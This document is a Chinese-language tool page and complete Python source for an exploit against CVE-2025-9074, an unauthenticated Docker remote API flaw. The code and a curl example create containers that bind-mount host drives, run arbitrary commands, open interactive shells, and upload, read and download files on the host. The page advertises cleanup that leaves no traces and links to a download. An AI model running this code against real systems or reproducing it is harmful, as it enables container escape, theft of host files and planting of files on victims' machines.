工具介绍
CVE-2025-9074 Docker 容器命令执行工具
,一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。
核心优势
✅ 全自动容器生命周期管理 :自动创建临时容器,操作完成后自动清理,不留痕迹
✅ 智能路径处理 :自动识别并转换 Windows 路径为 Docker 挂载格式
✅ 全自动化操作流程 :无需手动输入复杂命令,菜单式交互,一键完成文件操作
✅ 跨平台兼容:完美支持 Windows 和 Linux 系统
部分功能效果图

功能特性
-
容器操作
- 查看运行中的容器
- 查看所有容器(包括停止的)
- 创建新容器
- 停止容器
- 删除容器
- 单次命令执行
- 交互式终端(需要 docker 库)
-
镜像管理
- 查看本地镜像
- 拉取新镜像
- 删除镜像
-
宿主机文件操作
- 上传文件到宿主机
- 从宿主机下载文件
- 读取宿主机文件内容
- 向宿主机写入文件
- 自动处理 Windows Docker Desktop 路径映射
漏洞说明
CVE-2025-9074 是 Docker 远程 API 的一个安全漏洞,攻击者可以通过未授权访问 Docker API 来:
- 执行任意命令
- 创建容器并挂载宿主机磁盘
- 实现容器逃逸
- 读取/写入宿主机文件
使用方法
基本用法
直接运行脚本,使用默认 Docker API 地址:
bash
python CVE-2025-9074-docker-exploit.py
自定义 Docker API 地址
bash
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375
命令行参数
bash
python CVE-2025-9074-docker-exploit.py [选项]
选项:
-u, --url URL Docker API 地址(默认: http://192.168.65.7:2375)
功能详解
容器操作
- 查看运行中的容器:显示所有正在运行的容器列表
- 查看所有容器:显示所有容器(包括已停止的)
- 创建新容器:使用指定镜像创建新容器
- 停止容器:停止运行中的容器
- 删除容器:删除容器(可强制删除)
- 单次命令执行:在容器中执行单条命令
- 交互式终端:进入容器的交互式 shell(需要 docker 库)
使用交互式终端
- 运行脚本后选择 "1. 容器操作"
- 选择 "1. 查看运行中的容器"
- 输入容器序号选择容器
- 选择 "2. 交互式终端 (需要 docker 库)"
- 输入 shell 命令(默认: /bin/sh)
- 开始交互式操作
镜像管理
- 查看镜像:列出所有本地镜像
- 拉取镜像:从 Docker Hub 拉取新镜像
- 删除镜像:删除本地镜像
宿主机文件操作
上传文件到宿主机
1. 上传文件到宿主机
请输入本地文件路径: /path/to/local/file.txt
请输入宿主机目标目录: D:/temp
请输入目标文件名 (留空则使用原文件名):
从宿主机下载文件
2. 从宿主机下载文件
请输入宿主机文件路径: D:/temp/file.txt
请输入本地保存路径: /tmp
读取宿主机文件内容
3. 读取宿主机文件内容
请输入宿主机文件路径: D:/temp/file.txt
向宿主机写入文件
4. 向宿主机写入文件
请输入宿主机目标目录: D:/temp
请输入文件内容: Hello, World!
Windows Docker Desktop 路径映射
本工具自动处理 Windows Docker Desktop 的路径映射:
| Windows 路径 | Docker 挂载路径 |
|---|---|
D:\ |
/mnt/host/d |
D:\temp |
/mnt/host/d/temp |
C:\Windows |
/mnt/host/c/Windows |
C:\Users\test |
/mnt/host/c/Users/test |
支持的输入格式:
D:\或D:/D:\temp或D:/temp"D:\file.txt"(带引号)'D:/file.txt'(带引号)
技术原理
容器逃逸
通过 Docker API 创建容器并挂载宿主机磁盘:
bash
curl -X POST "http://<target>:2375/containers/create" \
-H "Content-Type: application/json" \
-d '{
"Image": "python:3.11.7",
"Cmd": ["sleep", "999d"],
"HostConfig": {
"Binds": ["/mnt/host/d:/tmp"]
},
"Tty": true
}'
文件读写
通过在容器中执行命令来读写宿主机文件:
bash
# 写入文件
echo "content" > /tmp/file.txt
# 读取文件
cat /tmp/file.txt
工具下载
https://github.com/Shaoshi17/CVE-2025-9074-Docker-Exploit
csharp
#!/usr/bin/env python3
import requests
import sys
import json
import argparse
import os
import signal
import socket
import platform
import threading
import time
DOCKER_API = "http://192.168.65.7:2375"
def check_dependencies():
"""检查是否安装了必要的依赖"""
try:
import docker
return True
except ImportError:
print("警告: docker 库未安装")
print("请运行: pip install docker websocket-client")
return False
def fix_url(url):
if not url.startswith("http"):
url = "http://" + url
if url.endswith("/"):
url = url[:-1]
return url
def normalize_host_path(host_path):
r"""规范化宿主机路径,处理 Windows Docker Desktop 路径格式
Windows Docker Desktop 路径映射规则:
- D:\ 或 D:/ → /mnt/host/d
- D:\temp 或 D:/temp → /mnt/host/d/temp
- C:\ 或 C:/ → /mnt/host/c
"""
if not host_path:
return None
host_path = host_path.strip()
if not host_path:
return None
host_path = host_path.strip('"').strip("'")
host_path = host_path.replace('\\', '/')
while '//' in host_path:
host_path = host_path.replace('//', '/')
if len(host_path) > 1 and host_path.endswith('/') and not (len(host_path) == 3 and host_path[1] == ':'):
host_path = host_path.rstrip('/')
import re
windows_path_pattern = r'^([A-Za-z]):(.*)$'
match = re.match(windows_path_pattern, host_path)
if match:
drive_letter = match.group(1).lower()
rest_path = match.group(2)
if rest_path.startswith('/'):
rest_path = rest_path[1:]
if rest_path:
host_path = f"/mnt/host/{drive_letter}/{rest_path}"
else:
host_path = f"/mnt/host/{drive_letter}"
return host_path if host_path else None
def get_containers(url):
print("正在获取容器列表...")
try:
response = requests.get(f"{url}/containers/json", timeout=5)
response.raise_for_status()
return response.json()
except requests.RequestException as e:
print(f"错误: {e}")
return []
def display_containers(containers):
if not containers:
print("没有找到运行中的容器")
return
print("\n" + "="*80)
print("运行中的容器列表:")
print("="*80)
print(f"{'序号':<6} {'容器ID':<15} {'镜像':<30} {'状态':<15} {'名称'}")
print("-"*80)
for idx, container in enumerate(containers, 1):
container_id = container.get('Id', '')[:12]
image = container.get('Image', '')[:28]
status = container.get('Status', '')[:13]
names = ', '.join(container.get('Names', []))
print(f"{idx:<6} {container_id:<15} {image:<30} {status:<15} {names}")
print("="*80)
def execute_command(url, container_id, command):
print(f"\n在容器 {container_id[:12]} 中执行命令: {' '.join(command)}")
print("-"*60)
exec_config = {
"AttachStdin": True,
"AttachStdout": True,
"AttachStderr": True,
"Tty": True,
"Cmd": command
}
try:
response = requests.post(
f"{url}/containers/{container_id}/exec",
json=exec_config,
timeout=5
)
response.raise_for_status()
exec_data = response.json()
exec_id = exec_data.get('Id', '')
start_config = {
"Detach": False,
"Tty": True
}
response = requests.post(
f"{url}/exec/{exec_id}/start",
json=start_config,
timeout=30
)
response.raise_for_status()
print(response.text)
return True
except requests.RequestException as e:
print(f"错误: {e}")
return False
def get_socket_from_response(sock_response):
"""从不同的 docker-py 版本响应中提取 socket 对象"""
if hasattr(sock_response, '_socket'):
return sock_response._socket
elif hasattr(sock_response, 'sock'):
return sock_response.sock
elif hasattr(sock_response, '_sock'):
return sock_response._sock
else:
return sock_response
def get_terminal_size():
"""获取当前终端大小"""
if platform.system() == 'Windows':
try:
import ctypes
from ctypes import wintypes
h = ctypes.windll.kernel32.GetStdHandle(-11)
csbi = wintypes._CONSOLE_SCREEN_BUFFER_INFO()
if ctypes.windll.kernel32.GetConsoleScreenBufferInfo(h, ctypes.byref(csbi)):
return csbi.srWindow.Bottom - csbi.srWindow.Top + 1, csbi.srWindow.Right - csbi.srWindow.Left + 1
except:
pass
return 24, 80
else:
try:
rows, columns = os.popen('stty size', 'r').read().split()
return int(rows), int(columns)
except:
return 24, 80
def start_interactive_terminal(url, container_id, command='/bin/sh'):
"""启动交互式终端"""
try:
import docker
except ImportError:
print("错误: 需要安装 docker 库")
print("请运行: pip install docker websocket-client")
return False
print(f"\n正在启动交互式终端...")
print(f"容器ID: {container_id[:12]}")
print(f"命令: {command}")
print("-"*60)
try:
client = docker.DockerClient(base_url=url)
try:
client.ping()
print(f"成功连接到 Docker 守护进程: {url}")
except Exception as e:
print(f"无法连接到 Docker 守护进程 {url}: {e}")
return False
try:
container = client.containers.get(container_id)
print(f"找到容器: {container_id[:12]} ({container.name})")
except docker.errors.NotFound:
print(f"错误: 找不到容器 {container_id[:12]}")
return False
except docker.errors.APIError as e:
print(f"Docker API 错误: {e}")
return False
rows, columns = get_terminal_size()
print("创建 exec 实例...")
exec_id = client.api.exec_create(
container=container_id,
cmd=command,
stdin=True,
stdout=True,
stderr=True,
tty=True,
environment=None
)['Id']
print("启动 exec 实例...")
sock_response = client.api.exec_start(
exec_id=exec_id,
detach=False,
tty=True,
socket=True
)
sock = get_socket_from_response(sock_response)
if sock is None:
print("错误: 无法获取 socket 连接")
return False
print(f"Socket 类型: {type(sock)}")
try:
client.api.exec_resize(
exec_id=exec_id,
height=rows,
width=columns
)
print(f"设置终端大小: {rows}x{columns}")
except Exception as e:
print(f"警告: 调整终端大小失败: {e}")
if platform.system() == 'Windows':
run_interactive_terminal_windows(client, exec_id, sock, container_id)
else:
run_interactive_terminal_unix(client, exec_id, sock, container_id)
return True
except Exception as e:
print(f"错误: {e}")
return False
def run_interactive_terminal_windows(client, exec_id, sock, container_id):
"""Windows 平台下的交互式终端"""
print(f"\n已连接到容器 {container_id[:12]}")
print("输入 'exit' 或 Ctrl+C 退出")
print("-"*60)
running = True
def receive_output():
nonlocal running
while running:
try:
data = sock.recv(4096)
if not data:
print("\n容器连接已关闭")
running = False
break
sys.stdout.write(data.decode('utf-8', errors='replace'))
sys.stdout.flush()
except (ConnectionResetError, BrokenPipeError, OSError):
if running:
print("\n容器连接已断开")
running = False
break
except Exception as e:
if running:
print(f"\n读取数据错误: {e}")
break
receive_thread = threading.Thread(target=receive_output)
receive_thread.daemon = True
receive_thread.start()
try:
while running:
try:
command = input("")
if command.strip() == 'exit':
running = False
break
sock.send((command + '\n').encode('utf-8'))
except EOFError:
running = False
break
except KeyboardInterrupt:
print("\n\n用户中断操作")
running = False
break
except Exception as e:
print(f"\n发送数据错误: {e}")
running = False
break
finally:
running = False
time.sleep(0.1)
try:
sock.close()
except:
pass
print("\n连接已关闭")
def run_interactive_terminal_unix(client, exec_id, sock, container_id):
"""Unix 平台下的交互式终端(使用 select)"""
try:
import select
import termios
import tty
except ImportError:
print("错误: Unix 平台需要 select 和 termios 模块")
return False
def setup_terminal():
old_attr = termios.tcgetattr(sys.stdin.fileno())
tty.setraw(sys.stdin.fileno())
return old_attr
def restore_terminal(old_attr):
termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_attr)
old_attr = setup_terminal()
print(f"已连接到容器 {container_id[:12]},输入 Ctrl+C 或 exit 退出")
print("-"*60)
def handle_sigwinch(signum, frame):
new_rows, new_columns = get_terminal_size()
try:
client.api.exec_resize(exec_id=exec_id, height=new_rows, width=new_columns)
except Exception as e:
pass
signal.signal(signal.SIGWINCH, handle_sigwinch)
try:
while True:
try:
r, w, e = select.select([sock, sys.stdin], [], [], 0.1)
if sock in r:
try:
data = sock.recv(1024)
if not data:
print("\n容器连接已关闭")
break
os.write(sys.stdout.fileno(), data)
except (ConnectionResetError, BrokenPipeError, OSError):
print("\n容器连接已断开")
break
except Exception as e:
print(f"\n读取数据错误: {e}")
break
if sys.stdin in r:
try:
data = os.read(sys.stdin.fileno(), 1024)
if not data:
break
if data == b'\x03':
sock.send(data)
elif data == b'\x04':
sock.send(data)
print("\n发送退出信号")
break
else:
sock.send(data)
except (ConnectionResetError, BrokenPipeError, OSError):
print("\n发送数据失败")
break
except Exception as e:
print(f"\n发送数据错误: {e}")
break
except KeyboardInterrupt:
try:
sock.send(b'\x03')
except:
break
except Exception as e:
print(f"\n发生错误: {e}")
break
except KeyboardInterrupt:
print("\n用户中断操作")
finally:
restore_terminal(old_attr)
try:
sock.close()
except:
pass
print("连接已关闭")
return True
def create_container_with_mount(url, host_path, container_path, image='python:3.11.7'):
"""创建挂载宿主机目录的容器"""
print(f"\n正在创建容器...")
print(f"宿主机路径: {host_path}")
print(f"容器路径: {container_path}")
print(f"镜像: {image}")
print("-"*60)
create_config = {
"Image": image,
"Cmd": ["sh", "-c", "tail -f /dev/null"],
"HostConfig": {
"Binds": [f"{host_path}:{container_path}"],
"AutoRemove": False
}
}
try:
response = requests.post(
f"{url}/containers/create",
json=create_config,
timeout=10
)
response.raise_for_status()
container_data = response.json()
container_id = container_data.get('Id', '')
print(f"容器创建成功: {container_id[:12]}")
return container_id
except requests.RequestException as e:
print(f"错误: {e}")
return None
def start_container(url, container_id):
"""启动容器"""
try:
response = requests.post(
f"{url}/containers/{container_id}/start",
timeout=10
)
response.raise_for_status()
print(f"容器启动成功: {container_id[:12]}")
return True
except requests.RequestException as e:
print(f"错误: {e}")
return False
def stop_and_remove_container(url, container_id):
"""停止并删除容器"""
print(f"\n正在清理容器: {container_id[:12]}")
try:
response = requests.post(
f"{url}/containers/{container_id}/stop",
timeout=10
)
except:
pass
try:
response = requests.delete(
f"{url}/containers/{container_id}",
timeout=10
)
print(f"容器已删除: {container_id[:12]}")
return True
except requests.RequestException as e:
print(f"删除容器失败: {e}")
return False
def write_file_to_host(url, host_path, content, image='python:3.11.7'):
"""向宿主机写入文件"""
host_path = normalize_host_path(host_path)
if not host_path:
print("错误: 无效的宿主机路径")
return False
container_path = "/tmp/host_mount"
container_id = None
try:
container_id = create_container_with_mount(url, host_path, container_path, image)
if not container_id:
return False
if not start_container(url, container_id):
return False
print(f"\n正在写入文件到宿主机: {host_path}")
exec_config = {
"AttachStdin": False,
"AttachStdout": True,
"AttachStderr": True,
"Tty": False,
"Cmd": ["sh", "-c", f"echo '{content}' > {container_path}/.write_test.txt"]
}
response = requests.post(
f"{url}/containers/{container_id}/exec",
json=exec_config,
timeout=5
)
response.raise_for_status()
exec_data = response.json()
exec_id = exec_data.get('Id', '')
start_config = {
"Detach": False,
"Tty": False
}
response = requests.post(
f"{url}/exec/{exec_id}/start",
json=start_config,
timeout=10
)
response.raise_for_status()
print(f"文件写入成功!")
print(f"文件路径: {host_path}/.write_test.txt")
return True
except Exception as e:
print(f"错误: {e}")
return False
finally:
if container_id:
stop_and_remove_container(url, container_id)
def upload_file_to_host(url, local_file, host_path, host_filename=None, image='python:3.11.7'):
"""上传本地文件到宿主机"""
import base64
if not os.path.exists(local_file):
print(f"错误: 本地文件不存在: {local_file}")
return False
host_path = normalize_host_path(host_path)
if not host_path:
print("错误: 无效的宿主机路径")
return False
container_path = "/tmp/host_mount"
container_id = None
try:
with open(local_file, 'rb') as f:
file_content = f.read()
if host_filename is None:
host_filename = os.path.basename(local_file)
print(f"\n正在上传文件...")
print(f"本地文件: {local_file}")
print(f"文件大小: {len(file_content)} 字节")
print(f"目标路径: {host_path}/{host_filename}")
print("-"*60)
container_id = create_container_with_mount(url, host_path, container_path, image)
if not container_id:
return False
if not start_container(url, container_id):
return False
encoded_content = base64.b64encode(file_content).decode('utf-8')
exec_config = {
"AttachStdin": False,
"AttachStdout": True,
"AttachStderr": True,
"Tty": False,
"Cmd": ["sh", "-c", f"echo '{encoded_content}' | base64 -d > {container_path}/{host_filename}"]
}
response = requests.post(
f"{url}/containers/{container_id}/exec",
json=exec_config,
timeout=5
)
response.raise_for_status()
exec_data = response.json()
exec_id = exec_data.get('Id', '')
start_config = {
"Detach": False,
"Tty": False
}
response = requests.post(
f"{url}/exec/{exec_id}/start",
json=start_config,
timeout=30
)
response.raise_for_status()
print(f"文件上传成功!")
print(f"目标路径: {host_path}/{host_filename}")
return True
except Exception as e:
print(f"错误: {e}")
return False
finally:
if container_id:
stop_and_remove_container(url, container_id)
def download_file_from_host(url, host_file, local_path, image='python:3.11.7'):
"""从宿主机下载文件"""
import base64
host_file = normalize_host_path(host_file)
if not host_file:
print("错误: 无效的宿主机文件路径")
return False
host_dir = os.path.dirname(host_file)
filename = os.path.basename(host_file)
container_path = "/tmp/host_mount"
container_id = None
try:
print(f"\n正在下载文件...")
print(f"宿主机文件: {host_file}")
print(f"本地保存路径: {local_path}")
print("-"*60)
container_id = create_container_with_mount(url, host_dir, container_path, image)
if not container_id:
return False
if not start_container(url, container_id):
return False
exec_config = {
"AttachStdin": False,
"AttachStdout": True,
"AttachStderr": True,
"Tty": False,
"Cmd": ["sh", "-c", f"base64 {container_path}/{filename} 2>/dev/null || cat {container_path}/{filename}"]
}
response = requests.post(
f"{url}/containers/{container_id}/exec",
json=exec_config,
timeout=5
)
response.raise_for_status()
exec_data = response.json()
exec_id = exec_data.get('Id', '')
start_config = {
"Detach": False,
"Tty": False
}
response = requests.post(
f"{url}/exec/{exec_id}/start",
json=start_config,
timeout=30
)
response.raise_for_status()
output = response.text
try:
file_content = base64.b64decode(output)
except:
file_content = output.encode('utf-8')
with open(local_path, 'wb') as f:
f.write(file_content)
print(f"文件下载成功!")
print(f"保存路径: {local_path}")
print(f"文件大小: {len(file_content)} 字节")
return True
except Exception as e:
print(f"错误: {e}")
return False
finally:
if container_id:
stop_and_remove_container(url, container_id)
def read_file_from_host(url, host_file, image='python:3.11.7'):
"""读取宿主机文件内容"""
import base64
host_file = normalize_host_path(host_file)
if not host_file:
print("错误: 无效的宿主机文件路径")
return False
host_dir = os.path.dirname(host_file)
filename = os.path.basename(host_file)
container_path = "/tmp/host_mount"
container_id = None
try:
print(f"\n正在读取文件...")
print(f"宿主机文件: {host_file}")
print("-"*60)
container_id = create_container_with_mount(url, host_dir, container_path, image)
if not container_id:
return False
if not start_container(url, container_id):
return False
exec_config = {
"AttachStdin": False,
"AttachStdout": True,
"AttachStderr": True,
"Tty": False,
"Cmd": ["sh", "-c", f"cat {container_path}/{filename}"]
}
response = requests.post(
f"{url}/containers/{container_id}/exec",
json=exec_config,
timeout=5
)
response.raise_for_status()
exec_data = response.json()
exec_id = exec_data.get('Id', '')
start_config = {
"Detach": False,
"Tty": False
}
response = requests.post(
f"{url}/exec/{exec_id}/start",
json=start_config,
timeout=30
)
response.raise_for_status()
print("\n文件内容:")
print("="*80)
print(response.text)
print("="*80)
return True
except Exception as e:
print(f"错误: {e}")
return False
finally:
if container_id:
stop_and_remove_container(url, container_id)
def get_images(url):
print("正在获取镜像列表...")
try:
response = requests.get(f"{url}/images/json", timeout=5)
response.raise_for_status()
return response.json()
except requests.RequestException as e:
print(f"错误: {e}")
return []
def display_images(images):
if not images:
print("没有找到镜像")
return
print("\n" + "="*80)
print("Docker 镜像列表:")
print("="*80)
print(f"{'序号':<6} {'镜像ID':<15} {'镜像名称':<40} {'大小'}")
print("-"*80)
for idx, image in enumerate(images, 1):
image_id = image.get('Id', '')[:12]
repo_tags = image.get('RepoTags', ['<none>'])
repo_tag = repo_tags[0] if repo_tags else '<none>'
size = image.get('Size', 0)
size_mb = size / (1024 * 1024) if size > 0 else 0
print(f"{idx:<6} {image_id:<15} {repo_tag:<40} {size_mb:.2f} MB")
print("="*80)
def pull_image(url, image_name):
print(f"\n正在拉取镜像: {image_name}")
print("-"*60)
try:
response = requests.post(
f"{url}/images/create",
params={"fromImage": image_name},
timeout=300
)
response.raise_for_status()
print(f"镜像 {image_name} 拉取成功!")
return True
except requests.RequestException as e:
print(f"错误: {e}")
return False
def remove_image(url, image_id):
print(f"\n正在删除镜像: {image_id[:12]}")
print("-"*60)
try:
response = requests.delete(
f"{url}/images/{image_id}",
params={"force": True},
timeout=30
)
response.raise_for_status()
print(f"镜像 {image_id[:12]} 删除成功!")
return True
except requests.RequestException as e:
print(f"错误: {e}")
return False
def get_all_containers(url, all_containers=False):
print("正在获取容器列表...")
try:
params = {"all": all_containers} if all_containers else {}
response = requests.get(f"{url}/containers/json", params=params, timeout=5)
response.raise_for_status()
return response.json()
except requests.RequestException as e:
print(f"错误: {e}")
return []
def stop_container(url, container_id):
print(f"\n正在停止容器: {container_id[:12]}")
print("-"*60)
try:
response = requests.post(
f"{url}/containers/{container_id}/stop",
timeout=30
)
response.raise_for_status()
print(f"容器 {container_id[:12]} 停止成功!")
return True
except requests.RequestException as e:
print(f"错误: {e}")
return False
def delete_container(url, container_id, force=False):
print(f"\n正在删除容器: {container_id[:12]}")
print("-"*60)
try:
params = {"force": force} if force else {}
response = requests.delete(
f"{url}/containers/{container_id}",
params=params,
timeout=30
)
response.raise_for_status()
print(f"容器 {container_id[:12]} 删除成功!")
return True
except requests.RequestException as e:
print(f"错误: {e}")
return False
def create_container(url, image_name, container_name=None, command=None):
print(f"\n正在创建容器...")
print(f"镜像: {image_name}")
if container_name:
print(f"容器名称: {container_name}")
if command:
print(f"启动命令: {command}")
print("-"*60)
create_config = {
"Image": image_name,
"Cmd": command if command else ["sh", "-c", "tail -f /dev/null"],
"Tty": True,
"OpenStdin": True
}
if container_name:
create_config["name"] = container_name
try:
response = requests.post(
f"{url}/containers/create",
json=create_config,
timeout=30
)
response.raise_for_status()
container_data = response.json()
container_id = container_data.get('Id', '')
print(f"容器创建成功: {container_id[:12]}")
return container_id
except requests.RequestException as e:
print(f"错误: {e}")
return None
def main():
parser = argparse.ArgumentParser(
description="Docker 容器命令执行工具 - CVE-2025-9074"
)
parser.add_argument("-u", "--url", help="Docker API URL (默认: http://192.168.65.7:2375)", default="http://192.168.65.7:2375")
args = parser.parse_args()
url = fix_url(args.url)
print("="*80)
print("Docker 容器命令执行工具 - CVE-2025-9074")
print("="*80)
print(f"目标 API: {url}")
print(f"当前系统: {platform.system()}")
while True:
print("\n请选择功能:")
print("1. 容器操作")
print("2. 镜像管理")
print("3. 宿主机文件操作")
print("4. 退出程序")
main_choice = input("请输入选项 (1-4): ").strip()
if main_choice == '1':
while True:
print("\n容器管理:")
print("1. 查看运行中的容器")
print("2. 查看所有容器(包括停止的)")
print("3. 创建新容器")
print("4. 停止容器")
print("5. 删除容器")
print("6. 返回主菜单")
container_mode = input("请输入选项 (1-6): ").strip()
if container_mode == '1':
containers = get_containers(url)
if not containers:
print("\n没有运行中的容器")
continue
display_containers(containers)
while True:
try:
choice = input("\n请选择容器序号进行操作 (输入 'q' 返回): ").strip()
if choice.lower() == 'q':
break
idx = int(choice) - 1
if 0 <= idx < len(containers):
selected_container = containers[idx]
container_id = selected_container.get('Id', '')
container_name = ', '.join(selected_container.get('Names', []))
print(f"\n已选择容器: {container_name} ({container_id[:12]})")
while True:
print("\n请选择操作:")
print("1. 单次命令执行")
print("2. 交互式终端 (需要 docker 库)")
print("3. 停止容器")
print("4. 删除容器")
print("5. 返回")
mode = input("请输入选项 (1-5): ").strip()
if mode == '1':
command_input = input("\n输入要执行的命令: ").strip()
if command_input:
command = command_input.split()
execute_command(url, container_id, command)
elif mode == '2':
if not check_dependencies():
print("\n错误: 需要安装 docker 库才能使用交互式终端功能")
print("请运行: pip install docker websocket-client")
continue
shell_cmd = input("\n输入shell命令 (默认: /bin/sh): ").strip()
if not shell_cmd:
shell_cmd = '/bin/sh'
start_interactive_terminal(url, container_id, shell_cmd)
elif mode == '3':
stop_container(url, container_id)
break
elif mode == '4':
confirm = input("\n确认删除容器? (y/N): ").strip().lower()
if confirm == 'y':
delete_container(url, container_id, force=True)
break
elif mode == '5':
break
else:
print("无效的选项,请输入 1-5")
else:
print(f"无效的序号,请输入 1-{len(containers)} 之间的数字")
except ValueError:
print("请输入有效的数字")
except KeyboardInterrupt:
print("\n\n返回")
break
elif container_mode == '2':
all_containers = get_all_containers(url, all_containers=True)
if not all_containers:
print("\n没有找到容器")
continue
display_containers(all_containers)
elif container_mode == '3':
image_name = input("\n请输入镜像名称 (例如: python:3.11.7): ").strip()
container_name = input("请输入容器名称 (留空则自动生成): ").strip()
command = input("请输入启动命令 (留空则使用默认): ").strip()
if not image_name:
print("错误: 镜像名称不能为空")
continue
if not container_name:
container_name = None
if command:
command = command.split()
else:
command = None
new_container_id = create_container(url, image_name, container_name, command)
if new_container_id:
start_choice = input("\n是否立即启动容器? (y/N): ").strip().lower()
if start_choice == 'y':
start_container(url, new_container_id)
elif container_mode == '4':
all_containers = get_all_containers(url, all_containers=True)
if not all_containers:
print("\n没有找到容器")
continue
display_containers(all_containers)
choice = input("\n请输入要停止的容器序号 (输入 'q' 取消): ").strip()
if choice.lower() == 'q':
continue
try:
idx = int(choice) - 1
if 0 <= idx < len(all_containers):
container_id = all_containers[idx].get('Id', '')
stop_container(url, container_id)
else:
print(f"无效的序号,请输入 1-{len(all_containers)} 之间的数字")
except ValueError:
print("请输入有效的数字")
elif container_mode == '5':
all_containers = get_all_containers(url, all_containers=True)
if not all_containers:
print("\n没有找到容器")
continue
display_containers(all_containers)
choice = input("\n请输入要删除的容器序号 (输入 'q' 取消): ").strip()
if choice.lower() == 'q':
continue
try:
idx = int(choice) - 1
if 0 <= idx < len(all_containers):
container_id = all_containers[idx].get('Id', '')
confirm = input("\n确认删除容器? (y/N): ").strip().lower()
if confirm == 'y':
delete_container(url, container_id, force=True)
else:
print(f"无效的序号,请输入 1-{len(all_containers)} 之间的数字")
except ValueError:
print("请输入有效的数字")
elif container_mode == '6':
break
else:
print("无效的选项,请输入 1-6")
elif main_choice == '2':
images = get_images(url)
display_images(images)
while True:
print("\n镜像管理操作:")
print("1. 拉取新镜像")
print("2. 删除镜像")
print("3. 刷新镜像列表")
print("4. 返回主菜单")
img_mode = input("请输入选项 (1-4): ").strip()
if img_mode == '1':
image_name = input("\n请输入要拉取的镜像名称 (例如: nginx:latest): ").strip()
if image_name:
pull_image(url, image_name)
images = get_images(url)
display_images(images)
elif img_mode == '2':
if not images:
print("\n没有可删除的镜像")
continue
img_choice = input("\n请输入要删除的镜像序号 (输入 'q' 取消): ").strip()
if img_choice.lower() == 'q':
continue
try:
idx = int(img_choice) - 1
if 0 <= idx < len(images):
image_id = images[idx].get('Id', '')
if remove_image(url, image_id):
images = get_images(url)
display_images(images)
else:
print(f"无效的序号,请输入 1-{len(images)} 之间的数字")
except ValueError:
print("请输入有效的数字")
elif img_mode == '3':
images = get_images(url)
display_images(images)
elif img_mode == '4':
break
else:
print("无效的选项,请输入 1-4")
elif main_choice == '3':
while True:
print("\n宿主机文件操作:")
print("1. 上传文件到宿主机")
print("2. 从宿主机下载文件")
print("3. 读取宿主机文件内容")
print("4. 向宿主机写入文件")
print("5. 返回主菜单")
file_mode = input("请输入选项 (1-5): ").strip()
if file_mode == '1':
local_file = input("\n请输入本地文件路径: ").strip()
print("提示: Windows路径示例: D:\\ 或 D:/ 或 D:/temp (将自动转换为 /mnt/host/d 格式)")
host_path = input("请输入宿主机目标目录: ").strip()
host_filename = input("请输入目标文件名 (留空则使用原文件名): ").strip()
if not host_filename:
host_filename = None
if local_file and host_path:
upload_file_to_host(url, local_file, host_path, host_filename)
elif file_mode == '2':
print("提示: Windows路径示例: D:\\file.txt 或 D:/file.txt (将自动转换为 /mnt/host/d/file.txt)")
host_file = input("\n请输入宿主机文件路径: ").strip()
local_path = input("请输入本地保存路径: ").strip()
if host_file and local_path:
download_file_from_host(url, host_file, local_path)
elif file_mode == '3':
print("提示: Windows路径示例: D:\\file.txt 或 D:/file.txt (将自动转换为 /mnt/host/d/file.txt)")
host_file = input("\n请输入宿主机文件路径: ").strip()
if host_file:
read_file_from_host(url, host_file)
elif file_mode == '4':
print("提示: Windows路径示例: D:\\ 或 D:/ 或 D:/temp (将自动转换为 /mnt/host/d 格式)")
host_path = input("\n请输入宿主机目标目录: ").strip()
content = input("请输入文件内容: ").strip()
if host_path and content:
write_file_to_host(url, host_path, content)
elif file_mode == '5':
break
else:
print("无效的选项,请输入 1-5")
elif main_choice == '4':
print("退出程序")
return
else:
print("无效的选项,请输入 1-4")
if __name__ == "__main__":
main()